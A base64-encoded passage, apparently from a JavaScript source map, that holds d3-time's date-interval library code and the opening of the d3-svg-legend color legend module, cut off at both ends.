vb3JpKGRhdGUgPSBuZXcgRGF0ZSgrZGF0ZSkpLCBkYXRlO1xuICB9XG5cbiAgaW50ZXJ2YWwuZmxvb3IgPSBpbnRlcnZhbDtcblxuICBpbnRlcnZhbC5jZWlsID0gZnVuY3Rpb24oZGF0ZSkge1xuICAgIHJldHVybiBmbG9vcmkoZGF0ZSA9IG5ldyBEYXRlKGRhdGUgLSAxKSksIG9mZnNldGkoZGF0ZSwgMSksIGZsb29yaShkYXRlKSwgZGF0ZTtcbiAgfTtcblxuICBpbnRlcnZhbC5yb3VuZCA9IGZ1bmN0aW9uKGRhdGUpIHtcbiAgICB2YXIgZDAgPSBpbnRlcnZhbChkYXRlKSxcbiAgICAgICAgZDEgPSBpbnRlcnZhbC5jZWlsKGRhdGUpO1xuICAgIHJldHVybiBkYXRlIC0gZDAgPCBkMSAtIGRhdGUgPyBkMCA6IGQxO1xuICB9O1xuXG4gIGludGVydmFsLm9mZnNldCA9IGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgICByZXR1cm4gb2Zmc2V0aShkYXRlID0gbmV3IERhdGUoK2RhdGUpLCBzdGVwID09IG51bGwgPyAxIDogTWF0aC5mbG9vcihzdGVwKSksIGRhdGU7XG4gIH07XG5cbiAgaW50ZXJ2YWwucmFuZ2UgPSBmdW5jdGlvbihzdGFydCwgc3RvcCwgc3RlcCkge1xuICAgIHZhciByYW5nZSA9IFtdO1xuICAgIHN0YXJ0ID0gaW50ZXJ2YWwuY2VpbChzdGFydCk7XG4gICAgc3RlcCA9IHN0ZXAgPT0gbnVsbCA/IDEgOiBNYXRoLmZsb29yKHN0ZXApO1xuICAgIGlmICghKHN0YXJ0IDwgc3RvcCkgfHwgIShzdGVwID4gMCkpIHJldHVybiByYW5nZTsgLy8gYWxzbyBoYW5kbGVzIEludmFsaWQgRGF0ZVxuICAgIGRvIHJhbmdlLnB1c2gobmV3IERhdGUoK3N0YXJ0KSk7IHdoaWxlIChvZmZzZXRpKHN0YXJ0LCBzdGVwKSwgZmxvb3JpKHN0YXJ0KSwgc3RhcnQgPCBzdG9wKVxuICAgIHJldHVybiByYW5nZTtcbiAgfTtcblxuICBpbnRlcnZhbC5maWx0ZXIgPSBmdW5jdGlvbih0ZXN0KSB7XG4gICAgcmV0dXJuIG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgICAgIGlmIChkYXRlID49IGRhdGUpIHdoaWxlIChmbG9vcmkoZGF0ZSksICF0ZXN0KGRhdGUpKSBkYXRlLnNldFRpbWUoZGF0ZSAtIDEpO1xuICAgIH0sIGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgICAgIGlmIChkYXRlID49IGRhdGUpIHdoaWxlICgtLXN0ZXAgPj0gMCkgd2hpbGUgKG9mZnNldGkoZGF0ZSwgMSksICF0ZXN0KGRhdGUpKSB7fSAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG5vLWVtcHR5XG4gICAgfSk7XG4gIH07XG5cbiAgaWYgKGNvdW50KSB7XG4gICAgaW50ZXJ2YWwuY291bnQgPSBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gICAgICB0MC5zZXRUaW1lKCtzdGFydCksIHQxLnNldFRpbWUoK2VuZCk7XG4gICAgICBmbG9vcmkodDApLCBmbG9vcmkodDEpO1xuICAgICAgcmV0dXJuIE1hdGguZmxvb3IoY291bnQodDAsIHQxKSk7XG4gICAgfTtcblxuICAgIGludGVydmFsLmV2ZXJ5ID0gZnVuY3Rpb24oc3RlcCkge1xuICAgICAgc3RlcCA9IE1hdGguZmxvb3Ioc3RlcCk7XG4gICAgICByZXR1cm4gIWlzRmluaXRlKHN0ZXApIHx8ICEoc3RlcCA+IDApID8gbnVsbFxuICAgICAgICAgIDogIShzdGVwID4gMSkgPyBpbnRlcnZhbFxuICAgICAgICAgIDogaW50ZXJ2YWwuZmlsdGVyKGZpZWxkXG4gICAgICAgICAgICAgID8gZnVuY3Rpb24oZCkgeyByZXR1cm4gZmllbGQoZCkgJSBzdGVwID09PSAwOyB9XG4gICAgICAgICAgICAgIDogZnVuY3Rpb24oZCkgeyByZXR1cm4gaW50ZXJ2YWwuY291bnQoMCwgZCkgJSBzdGVwID09PSAwOyB9KTtcbiAgICB9O1xuICB9XG5cbiAgcmV0dXJuIGludGVydmFsO1xufVxuXG52YXIgbWlsbGlzZWNvbmQgPSBuZXdJbnRlcnZhbChmdW5jdGlvbigpIHtcbiAgLy8gbm9vcFxufSwgZnVuY3Rpb24oZGF0ZSwgc3RlcCkge1xuICBkYXRlLnNldFRpbWUoK2RhdGUgKyBzdGVwKTtcbn0sIGZ1bmN0aW9uKHN0YXJ0LCBlbmQpIHtcbiAgcmV0dXJuIGVuZCAtIHN0YXJ0O1xufSk7XG5cbi8vIEFuIG9wdGltaXplZCBpbXBsZW1lbnRhdGlvbiBmb3IgdGhpcyBzaW1wbGUgY2FzZS5cbm1pbGxpc2Vjb25kLmV2ZXJ5ID0gZnVuY3Rpb24oaykge1xuICBrID0gTWF0aC5mbG9vcihrKTtcbiAgaWYgKCFpc0Zpbml0ZShrKSB8fCAhKGsgPiAwKSkgcmV0dXJuIG51bGw7XG4gIGlmICghKGsgPiAxKSkgcmV0dXJuIG1pbGxpc2Vjb25kO1xuICByZXR1cm4gbmV3SW50ZXJ2YWwoZnVuY3Rpb24oZGF0ZSkge1xuICAgIGRhdGUuc2V0VGltZShNYXRoLmZsb29yKGRhdGUgLyBrKSAqIGspO1xuICB9LCBmdW5jdGlvbihkYXRlLCBzdGVwKSB7XG4gICAgZGF0ZS5zZXRUaW1lKCtkYXRlICsgc3RlcCAqIGspO1xuICB9LCBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gICAgcmV0dXJuIChlbmQgLSBzdGFydCkgLyBrO1xuICB9KTtcbn07XG5cbnZhciBtaWxsaXNlY29uZHMgPSBtaWxsaXNlY29uZC5yYW5nZTtcblxudmFyIGR1cmF0aW9uU2Vjb25kID0gMWUzO1xudmFyIGR1cmF0aW9uTWludXRlID0gNmU0O1xudmFyIGR1cmF0aW9uSG91ciA9IDM2ZTU7XG52YXIgZHVyYXRpb25EYXkgPSA4NjRlNTtcbnZhciBkdXJhdGlvbldlZWsgPSA2MDQ4ZTU7XG5cbnZhciBzZWNvbmQgPSBuZXdJbnRlcnZhbChmdW5jdGlvbihkYXRlKSB7XG4gIGRhdGUuc2V0VGltZShNYXRoLmZsb29yKGRhdGUgLyBkdXJhdGlvblNlY29uZCkgKiBkdXJhdGlvblNlY29uZCk7XG59LCBmdW5jdGlvbihkYXRlLCBzdGVwKSB7XG4gIGRhdGUuc2V0VGltZSgrZGF0ZSArIHN0ZXAgKiBkdXJhdGlvblNlY29uZCk7XG59LCBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gIHJldHVybiAoZW5kIC0gc3RhcnQpIC8gZHVyYXRpb25TZWNvbmQ7XG59LCBmdW5jdGlvbihkYXRlKSB7XG4gIHJldHVybiBkYXRlLmdldFVUQ1NlY29uZHMoKTtcbn0pO1xuXG52YXIgc2Vjb25kcyA9IHNlY29uZC5yYW5nZTtcblxudmFyIG1pbnV0ZSA9IG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgZGF0ZS5zZXRUaW1lKE1hdGguZmxvb3IoZGF0ZSAvIGR1cmF0aW9uTWludXRlKSAqIGR1cmF0aW9uTWludXRlKTtcbn0sIGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgZGF0ZS5zZXRUaW1lKCtkYXRlICsgc3RlcCAqIGR1cmF0aW9uTWludXRlKTtcbn0sIGZ1bmN0aW9uKHN0YXJ0LCBlbmQpIHtcbiAgcmV0dXJuIChlbmQgLSBzdGFydCkgLyBkdXJhdGlvbk1pbnV0ZTtcbn0sIGZ1bmN0aW9uKGRhdGUpIHtcbiAgcmV0dXJuIGRhdGUuZ2V0TWludXRlcygpO1xufSk7XG5cbnZhciBtaW51dGVzID0gbWludXRlLnJhbmdlO1xuXG52YXIgaG91ciA9IG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgdmFyIG9mZnNldCA9IGRhdGUuZ2V0VGltZXpvbmVPZmZzZXQoKSAqIGR1cmF0aW9uTWludXRlICUgZHVyYXRpb25Ib3VyO1xuICBpZiAob2Zmc2V0IDwgMCkgb2Zmc2V0ICs9IGR1cmF0aW9uSG91cjtcbiAgZGF0ZS5zZXRUaW1lKE1hdGguZmxvb3IoKCtkYXRlIC0gb2Zmc2V0KSAvIGR1cmF0aW9uSG91cikgKiBkdXJhdGlvbkhvdXIgKyBvZmZzZXQpO1xufSwgZnVuY3Rpb24oZGF0ZSwgc3RlcCkge1xuICBkYXRlLnNldFRpbWUoK2RhdGUgKyBzdGVwICogZHVyYXRpb25Ib3VyKTtcbn0sIGZ1bmN0aW9uKHN0YXJ0LCBlbmQpIHtcbiAgcmV0dXJuIChlbmQgLSBzdGFydCkgLyBkdXJhdGlvbkhvdXI7XG59LCBmdW5jdGlvbihkYXRlKSB7XG4gIHJldHVybiBkYXRlLmdldEhvdXJzKCk7XG59KTtcblxudmFyIGhvdXJzID0gaG91ci5yYW5nZTtcblxudmFyIGRheSA9IG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgZGF0ZS5zZXRIb3VycygwLCAwLCAwLCAwKTtcbn0sIGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgZGF0ZS5zZXREYXRlKGRhdGUuZ2V0RGF0ZSgpICsgc3RlcCk7XG59LCBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gIHJldHVybiAoZW5kIC0gc3RhcnQgLSAoZW5kLmdldFRpbWV6b25lT2Zmc2V0KCkgLSBzdGFydC5nZXRUaW1lem9uZU9mZnNldCgpKSAqIGR1cmF0aW9uTWludXRlKSAvIGR1cmF0aW9uRGF5O1xufSwgZnVuY3Rpb24oZGF0ZSkge1xuICByZXR1cm4gZGF0ZS5nZXREYXRlKCkgLSAxO1xufSk7XG5cbnZhciBkYXlzID0gZGF5LnJhbmdlO1xuXG5mdW5jdGlvbiB3ZWVrZGF5KGkpIHtcbiAgcmV0dXJuIG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgICBkYXRlLnNldERhdGUoZGF0ZS5nZXREYXRlKCkgLSAoZGF0ZS5nZXREYXkoKSArIDcgLSBpKSAlIDcpO1xuICAgIGRhdGUuc2V0SG91cnMoMCwgMCwgMCwgMCk7XG4gIH0sIGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgICBkYXRlLnNldERhdGUoZGF0ZS5nZXREYXRlKCkgKyBzdGVwICogNyk7XG4gIH0sIGZ1bmN0aW9uKHN0YXJ0LCBlbmQpIHtcbiAgICByZXR1cm4gKGVuZCAtIHN0YXJ0IC0gKGVuZC5nZXRUaW1lem9uZU9mZnNldCgpIC0gc3RhcnQuZ2V0VGltZXpvbmVPZmZzZXQoKSkgKiBkdXJhdGlvbk1pbnV0ZSkgLyBkdXJhdGlvbldlZWs7XG4gIH0pO1xufVxuXG52YXIgc3VuZGF5ID0gd2Vla2RheSgwKTtcbnZhciBtb25kYXkgPSB3ZWVrZGF5KDEpO1xudmFyIHR1ZXNkYXkgPSB3ZWVrZGF5KDIpO1xudmFyIHdlZG5lc2RheSA9IHdlZWtkYXkoMyk7XG52YXIgdGh1cnNkYXkgPSB3ZWVrZGF5KDQpO1xudmFyIGZyaWRheSA9IHdlZWtkYXkoNSk7XG52YXIgc2F0dXJkYXkgPSB3ZWVrZGF5KDYpO1xuXG52YXIgc3VuZGF5cyA9IHN1bmRheS5yYW5nZTtcbnZhciBtb25kYXlzID0gbW9uZGF5LnJhbmdlO1xudmFyIHR1ZXNkYXlzID0gdHVlc2RheS5yYW5nZTtcbnZhciB3ZWRuZXNkYXlzID0gd2VkbmVzZGF5LnJhbmdlO1xudmFyIHRodXJzZGF5cyA9IHRodXJzZGF5LnJhbmdlO1xudmFyIGZyaWRheXMgPSBmcmlkYXkucmFuZ2U7XG52YXIgc2F0dXJkYXlzID0gc2F0dXJkYXkucmFuZ2U7XG5cbnZhciBtb250aCA9IG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgZGF0ZS5zZXREYXRlKDEpO1xuICBkYXRlLnNldEhvdXJzKDAsIDAsIDAsIDApO1xufSwgZnVuY3Rpb24oZGF0ZSwgc3RlcCkge1xuICBkYXRlLnNldE1vbnRoKGRhdGUuZ2V0TW9udGgoKSArIHN0ZXApO1xufSwgZnVuY3Rpb24oc3RhcnQsIGVuZCkge1xuICByZXR1cm4gZW5kLmdldE1vbnRoKCkgLSBzdGFydC5nZXRNb250aCgpICsgKGVuZC5nZXRGdWxsWWVhcigpIC0gc3RhcnQuZ2V0RnVsbFllYXIoKSkgKiAxMjtcbn0sIGZ1bmN0aW9uKGRhdGUpIHtcbiAgcmV0dXJuIGRhdGUuZ2V0TW9udGgoKTtcbn0pO1xuXG52YXIgbW9udGhzID0gbW9udGgucmFuZ2U7XG5cbnZhciB5ZWFyID0gbmV3SW50ZXJ2YWwoZnVuY3Rpb24oZGF0ZSkge1xuICBkYXRlLnNldE1vbnRoKDAsIDEpO1xuICBkYXRlLnNldEhvdXJzKDAsIDAsIDAsIDApO1xufSwgZnVuY3Rpb24oZGF0ZSwgc3RlcCkge1xuICBkYXRlLnNldEZ1bGxZZWFyKGRhdGUuZ2V0RnVsbFllYXIoKSArIHN0ZXApO1xufSwgZnVuY3Rpb24oc3RhcnQsIGVuZCkge1xuICByZXR1cm4gZW5kLmdldEZ1bGxZZWFyKCkgLSBzdGFydC5nZXRGdWxsWWVhcigpO1xufSwgZnVuY3Rpb24oZGF0ZSkge1xuICByZXR1cm4gZGF0ZS5nZXRGdWxsWWVhcigpO1xufSk7XG5cbi8vIEFuIG9wdGltaXplZCBpbXBsZW1lbnRhdGlvbiBmb3IgdGhpcyBzaW1wbGUgY2FzZS5cbnllYXIuZXZlcnkgPSBmdW5jdGlvbihrKSB7XG4gIHJldHVybiAhaXNGaW5pdGUoayA9IE1hdGguZmxvb3IoaykpIHx8ICEoayA+IDApID8gbnVsbCA6IG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgICBkYXRlLnNldEZ1bGxZZWFyKE1hdGguZmxvb3IoZGF0ZS5nZXRGdWxsWWVhcigpIC8gaykgKiBrKTtcbiAgICBkYXRlLnNldE1vbnRoKDAsIDEpO1xuICAgIGRhdGUuc2V0SG91cnMoMCwgMCwgMCwgMCk7XG4gIH0sIGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgICBkYXRlLnNldEZ1bGxZZWFyKGRhdGUuZ2V0RnVsbFllYXIoKSArIHN0ZXAgKiBrKTtcbiAgfSk7XG59O1xuXG52YXIgeWVhcnMgPSB5ZWFyLnJhbmdlO1xuXG52YXIgdXRjTWludXRlID0gbmV3SW50ZXJ2YWwoZnVuY3Rpb24oZGF0ZSkge1xuICBkYXRlLnNldFVUQ1NlY29uZHMoMCwgMCk7XG59LCBmdW5jdGlvbihkYXRlLCBzdGVwKSB7XG4gIGRhdGUuc2V0VGltZSgrZGF0ZSArIHN0ZXAgKiBkdXJhdGlvbk1pbnV0ZSk7XG59LCBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gIHJldHVybiAoZW5kIC0gc3RhcnQpIC8gZHVyYXRpb25NaW51dGU7XG59LCBmdW5jdGlvbihkYXRlKSB7XG4gIHJldHVybiBkYXRlLmdldFVUQ01pbnV0ZXMoKTtcbn0pO1xuXG52YXIgdXRjTWludXRlcyA9IHV0Y01pbnV0ZS5yYW5nZTtcblxudmFyIHV0Y0hvdXIgPSBuZXdJbnRlcnZhbChmdW5jdGlvbihkYXRlKSB7XG4gIGRhdGUuc2V0VVRDTWludXRlcygwLCAwLCAwKTtcbn0sIGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgZGF0ZS5zZXRUaW1lKCtkYXRlICsgc3RlcCAqIGR1cmF0aW9uSG91cik7XG59LCBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gIHJldHVybiAoZW5kIC0gc3RhcnQpIC8gZHVyYXRpb25Ib3VyO1xufSwgZnVuY3Rpb24oZGF0ZSkge1xuICByZXR1cm4gZGF0ZS5nZXRVVENIb3VycygpO1xufSk7XG5cbnZhciB1dGNIb3VycyA9IHV0Y0hvdXIucmFuZ2U7XG5cbnZhciB1dGNEYXkgPSBuZXdJbnRlcnZhbChmdW5jdGlvbihkYXRlKSB7XG4gIGRhdGUuc2V0VVRDSG91cnMoMCwgMCwgMCwgMCk7XG59LCBmdW5jdGlvbihkYXRlLCBzdGVwKSB7XG4gIGRhdGUuc2V0VVRDRGF0ZShkYXRlLmdldFVUQ0RhdGUoKSArIHN0ZXApO1xufSwgZnVuY3Rpb24oc3RhcnQsIGVuZCkge1xuICByZXR1cm4gKGVuZCAtIHN0YXJ0KSAvIGR1cmF0aW9uRGF5O1xufSwgZnVuY3Rpb24oZGF0ZSkge1xuICByZXR1cm4gZGF0ZS5nZXRVVENEYXRlKCkgLSAxO1xufSk7XG5cbnZhciB1dGNEYXlzID0gdXRjRGF5LnJhbmdlO1xuXG5mdW5jdGlvbiB1dGNXZWVrZGF5KGkpIHtcbiAgcmV0dXJuIG5ld0ludGVydmFsKGZ1bmN0aW9uKGRhdGUpIHtcbiAgICBkYXRlLnNldFVUQ0RhdGUoZGF0ZS5nZXRVVENEYXRlKCkgLSAoZGF0ZS5nZXRVVENEYXkoKSArIDcgLSBpKSAlIDcpO1xuICAgIGRhdGUuc2V0VVRDSG91cnMoMCwgMCwgMCwgMCk7XG4gIH0sIGZ1bmN0aW9uKGRhdGUsIHN0ZXApIHtcbiAgICBkYXRlLnNldFVUQ0RhdGUoZGF0ZS5nZXRVVENEYXRlKCkgKyBzdGVwICogNyk7XG4gIH0sIGZ1bmN0aW9uKHN0YXJ0LCBlbmQpIHtcbiAgICByZXR1cm4gKGVuZCAtIHN0YXJ0KSAvIGR1cmF0aW9uV2VlaztcbiAgfSk7XG59XG5cbnZhciB1dGNTdW5kYXkgPSB1dGNXZWVrZGF5KDApO1xudmFyIHV0Y01vbmRheSA9IHV0Y1dlZWtkYXkoMSk7XG52YXIgdXRjVHVlc2RheSA9IHV0Y1dlZWtkYXkoMik7XG52YXIgdXRjV2VkbmVzZGF5ID0gdXRjV2Vla2RheSgzKTtcbnZhciB1dGNUaHVyc2RheSA9IHV0Y1dlZWtkYXkoNCk7XG52YXIgdXRjRnJpZGF5ID0gdXRjV2Vla2RheSg1KTtcbnZhciB1dGNTYXR1cmRheSA9IHV0Y1dlZWtkYXkoNik7XG5cbnZhciB1dGNTdW5kYXlzID0gdXRjU3VuZGF5LnJhbmdlO1xudmFyIHV0Y01vbmRheXMgPSB1dGNNb25kYXkucmFuZ2U7XG52YXIgdXRjVHVlc2RheXMgPSB1dGNUdWVzZGF5LnJhbmdlO1xudmFyIHV0Y1dlZG5lc2RheXMgPSB1dGNXZWRuZXNkYXkucmFuZ2U7XG52YXIgdXRjVGh1cnNkYXlzID0gdXRjVGh1cnNkYXkucmFuZ2U7XG52YXIgdXRjRnJpZGF5cyA9IHV0Y0ZyaWRheS5yYW5nZTtcbnZhciB1dGNTYXR1cmRheXMgPSB1dGNTYXR1cmRheS5yYW5nZTtcblxudmFyIHV0Y01vbnRoID0gbmV3SW50ZXJ2YWwoZnVuY3Rpb24oZGF0ZSkge1xuICBkYXRlLnNldFVUQ0RhdGUoMSk7XG4gIGRhdGUuc2V0VVRDSG91cnMoMCwgMCwgMCwgMCk7XG59LCBmdW5jdGlvbihkYXRlLCBzdGVwKSB7XG4gIGRhdGUuc2V0VVRDTW9udGgoZGF0ZS5nZXRVVENNb250aCgpICsgc3RlcCk7XG59LCBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gIHJldHVybiBlbmQuZ2V0VVRDTW9udGgoKSAtIHN0YXJ0LmdldFVUQ01vbnRoKCkgKyAoZW5kLmdldFVUQ0Z1bGxZZWFyKCkgLSBzdGFydC5nZXRVVENGdWxsWWVhcigpKSAqIDEyO1xufSwgZnVuY3Rpb24oZGF0ZSkge1xuICByZXR1cm4gZGF0ZS5nZXRVVENNb250aCgpO1xufSk7XG5cbnZhciB1dGNNb250aHMgPSB1dGNNb250aC5yYW5nZTtcblxudmFyIHV0Y1llYXIgPSBuZXdJbnRlcnZhbChmdW5jdGlvbihkYXRlKSB7XG4gIGRhdGUuc2V0VVRDTW9udGgoMCwgMSk7XG4gIGRhdGUuc2V0VVRDSG91cnMoMCwgMCwgMCwgMCk7XG59LCBmdW5jdGlvbihkYXRlLCBzdGVwKSB7XG4gIGRhdGUuc2V0VVRDRnVsbFllYXIoZGF0ZS5nZXRVVENGdWxsWWVhcigpICsgc3RlcCk7XG59LCBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gIHJldHVybiBlbmQuZ2V0VVRDRnVsbFllYXIoKSAtIHN0YXJ0LmdldFVUQ0Z1bGxZZWFyKCk7XG59LCBmdW5jdGlvbihkYXRlKSB7XG4gIHJldHVybiBkYXRlLmdldFVUQ0Z1bGxZZWFyKCk7XG59KTtcblxuLy8gQW4gb3B0aW1pemVkIGltcGxlbWVudGF0aW9uIGZvciB0aGlzIHNpbXBsZSBjYXNlLlxudXRjWWVhci5ldmVyeSA9IGZ1bmN0aW9uKGspIHtcbiAgcmV0dXJuICFpc0Zpbml0ZShrID0gTWF0aC5mbG9vcihrKSkgfHwgIShrID4gMCkgPyBudWxsIDogbmV3SW50ZXJ2YWwoZnVuY3Rpb24oZGF0ZSkge1xuICAgIGRhdGUuc2V0VVRDRnVsbFllYXIoTWF0aC5mbG9vcihkYXRlLmdldFVUQ0Z1bGxZZWFyKCkgLyBrKSAqIGspO1xuICAgIGRhdGUuc2V0VVRDTW9udGgoMCwgMSk7XG4gICAgZGF0ZS5zZXRVVENIb3VycygwLCAwLCAwLCAwKTtcbiAgfSwgZnVuY3Rpb24oZGF0ZSwgc3RlcCkge1xuICAgIGRhdGUuc2V0VVRDRnVsbFllYXIoZGF0ZS5nZXRVVENGdWxsWWVhcigpICsgc3RlcCAqIGspO1xuICB9KTtcbn07XG5cbnZhciB1dGNZZWFycyA9IHV0Y1llYXIucmFuZ2U7XG5cbmV4cG9ydHMudGltZUludGVydmFsID0gbmV3SW50ZXJ2YWw7XG5leHBvcnRzLnRpbWVNaWxsaXNlY29uZCA9IG1pbGxpc2Vjb25kO1xuZXhwb3J0cy50aW1lTWlsbGlzZWNvbmRzID0gbWlsbGlzZWNvbmRzO1xuZXhwb3J0cy51dGNNaWxsaXNlY29uZCA9IG1pbGxpc2Vjb25kO1xuZXhwb3J0cy51dGNNaWxsaXNlY29uZHMgPSBtaWxsaXNlY29uZHM7XG5leHBvcnRzLnRpbWVTZWNvbmQgPSBzZWNvbmQ7XG5leHBvcnRzLnRpbWVTZWNvbmRzID0gc2Vjb25kcztcbmV4cG9ydHMudXRjU2Vjb25kID0gc2Vjb25kO1xuZXhwb3J0cy51dGNTZWNvbmRzID0gc2Vjb25kcztcbmV4cG9ydHMudGltZU1pbnV0ZSA9IG1pbnV0ZTtcbmV4cG9ydHMudGltZU1pbnV0ZXMgPSBtaW51dGVzO1xuZXhwb3J0cy50aW1lSG91ciA9IGhvdXI7XG5leHBvcnRzLnRpbWVIb3VycyA9IGhvdXJzO1xuZXhwb3J0cy50aW1lRGF5ID0gZGF5O1xuZXhwb3J0cy50aW1lRGF5cyA9IGRheXM7XG5leHBvcnRzLnRpbWVXZWVrID0gc3VuZGF5O1xuZXhwb3J0cy50aW1lV2Vla3MgPSBzdW5kYXlzO1xuZXhwb3J0cy50aW1lU3VuZGF5ID0gc3VuZGF5O1xuZXhwb3J0cy50aW1lU3VuZGF5cyA9IHN1bmRheXM7XG5leHBvcnRzLnRpbWVNb25kYXkgPSBtb25kYXk7XG5leHBvcnRzLnRpbWVNb25kYXlzID0gbW9uZGF5cztcbmV4cG9ydHMudGltZVR1ZXNkYXkgPSB0dWVzZGF5O1xuZXhwb3J0cy50aW1lVHVlc2RheXMgPSB0dWVzZGF5cztcbmV4cG9ydHMudGltZVdlZG5lc2RheSA9IHdlZG5lc2RheTtcbmV4cG9ydHMudGltZVdlZG5lc2RheXMgPSB3ZWRuZXNkYXlzO1xuZXhwb3J0cy50aW1lVGh1cnNkYXkgPSB0aHVyc2RheTtcbmV4cG9ydHMudGltZVRodXJzZGF5cyA9IHRodXJzZGF5cztcbmV4cG9ydHMudGltZUZyaWRheSA9IGZyaWRheTtcbmV4cG9ydHMudGltZUZyaWRheXMgPSBmcmlkYXlzO1xuZXhwb3J0cy50aW1lU2F0dXJkYXkgPSBzYXR1cmRheTtcbmV4cG9ydHMudGltZVNhdHVyZGF5cyA9IHNhdHVyZGF5cztcbmV4cG9ydHMudGltZU1vbnRoID0gbW9udGg7XG5leHBvcnRzLnRpbWVNb250aHMgPSBtb250aHM7XG5leHBvcnRzLnRpbWVZZWFyID0geWVhcjtcbmV4cG9ydHMudGltZVllYXJzID0geWVhcnM7XG5leHBvcnRzLnV0Y01pbnV0ZSA9IHV0Y01pbnV0ZTtcbmV4cG9ydHMudXRjTWludXRlcyA9IHV0Y01pbnV0ZXM7XG5leHBvcnRzLnV0Y0hvdXIgPSB1dGNIb3VyO1xuZXhwb3J0cy51dGNIb3VycyA9IHV0Y0hvdXJzO1xuZXhwb3J0cy51dGNEYXkgPSB1dGNEYXk7XG5leHBvcnRzLnV0Y0RheXMgPSB1dGNEYXlzO1xuZXhwb3J0cy51dGNXZWVrID0gdXRjU3VuZGF5O1xuZXhwb3J0cy51dGNXZWVrcyA9IHV0Y1N1bmRheXM7XG5leHBvcnRzLnV0Y1N1bmRheSA9IHV0Y1N1bmRheTtcbmV4cG9ydHMudXRjU3VuZGF5cyA9IHV0Y1N1bmRheXM7XG5leHBvcnRzLnV0Y01vbmRheSA9IHV0Y01vbmRheTtcbmV4cG9ydHMudXRjTW9uZGF5cyA9IHV0Y01vbmRheXM7XG5leHBvcnRzLnV0Y1R1ZXNkYXkgPSB1dGNUdWVzZGF5O1xuZXhwb3J0cy51dGNUdWVzZGF5cyA9IHV0Y1R1ZXNkYXlzO1xuZXhwb3J0cy51dGNXZWRuZXNkYXkgPSB1dGNXZWRuZXNkYXk7XG5leHBvcnRzLnV0Y1dlZG5lc2RheXMgPSB1dGNXZWRuZXNkYXlzO1xuZXhwb3J0cy51dGNUaHVyc2RheSA9IHV0Y1RodXJzZGF5O1xuZXhwb3J0cy51dGNUaHVyc2RheXMgPSB1dGNUaHVyc2RheXM7XG5leHBvcnRzLnV0Y0ZyaWRheSA9IHV0Y0ZyaWRheTtcbmV4cG9ydHMudXRjRnJpZGF5cyA9IHV0Y0ZyaWRheXM7XG5leHBvcnRzLnV0Y1NhdHVyZGF5ID0gdXRjU2F0dXJkYXk7XG5leHBvcnRzLnV0Y1NhdHVyZGF5cyA9IHV0Y1NhdHVyZGF5cztcbmV4cG9ydHMudXRjTW9udGggPSB1dGNNb250aDtcbmV4cG9ydHMudXRjTW9udGhzID0gdXRjTW9udGhzO1xuZXhwb3J0cy51dGNZZWFyID0gdXRjWWVhcjtcbmV4cG9ydHMudXRjWWVhcnMgPSB1dGNZZWFycztcblxuT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywgeyB2YWx1ZTogdHJ1ZSB9KTtcblxufSkpKTtcbiIsImltcG9ydCBoZWxwZXIgZnJvbSBcIi4vbGVnZW5kXCJcbmltcG9ydCB7IGRpc3BhdGNoIH0gZnJvbSBcImQzLWRpc3BhdGNoXCJcbmltcG9ydCB7IHNjYWxlTGluZWFyIH0gZnJvbSBcImQzLXNjYWxlXCJcbmltcG9ydCB7IGZvcm1hdExvY2FsZSwgZm9ybWF0U3BlY2lmaWVyIH0gZnJvbSBcImQzLWZvcm1hdFwiXG5cbmltcG9ydCB7IHN1bSB9IGZyb20gXCJkMy1hcnJheVwiXG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIGNvbG9yKCkge1xuICBsZXQgc2NhbGUgPSBzY2FsZUxpbmVhcigpLFxuICAgIHNoYXBlID0gXCJyZWN0XCIsXG4gICAgc2hhcGVXaWR0aCA9IDE1LFxuICAgIHNoYXBlSGVpZ2h0ID0gMTUsXG4gICAgc2hhcGVSYWRpdXMgPSAxMCxcbiAgICBzaGFwZVBhZGRpbmcgPSAyLFxuICAgIGNlbGxzID0gWzVdLFxuICAgIGNlbGxGaWx0ZXIsXG4gICAgbGFiZWxzID0gW10sXG4gICAgY2xhc3NQcmVmaXggPSBcIlwiLFxuICAgIHVzZUNsYXNzID0gZmFsc2UsXG4gICAgdGl0bGUgPSBcIlwiLFxuICAgIGxvY2FsZSA9IGhlbHBlci5kM19kZWZhdWx0TG9jYWxlLFxuICAgIHNwZWNpZmllciA9IGhlbHBlci5kM19kZWZhdWx0Rm9ybWF0U3BlY2lmaWVyLFxuICAgIGxhYmVsT2Zmc2V0ID0gMTAsXG4gICAgbGFiZWxBbGlnbiA9IFwibWlkZGxlXCIsXG4gICAgbGFiZWxEZWxpbWl0ZXIgPSBoZWxwZXIuZDNfZGVmYXVsdERlbGltaXRlcixcbiAgICBsYWJlbFdyYXAsXG4gICAgb3JpZW50ID0gXCJ2ZXJ0aWNhbFwiLFxuICAgIGFzY2VuZGluZyA9IGZhbHNlLFxuICAgIHBhdGgsXG4gICAgdGl0bGVXaWR0aCxcbiAgICBsZWdlbmREaXNwYXRjaGVyID0gZGlzcGF0Y2goXCJjZWxsb3ZlclwiLCBcImNlb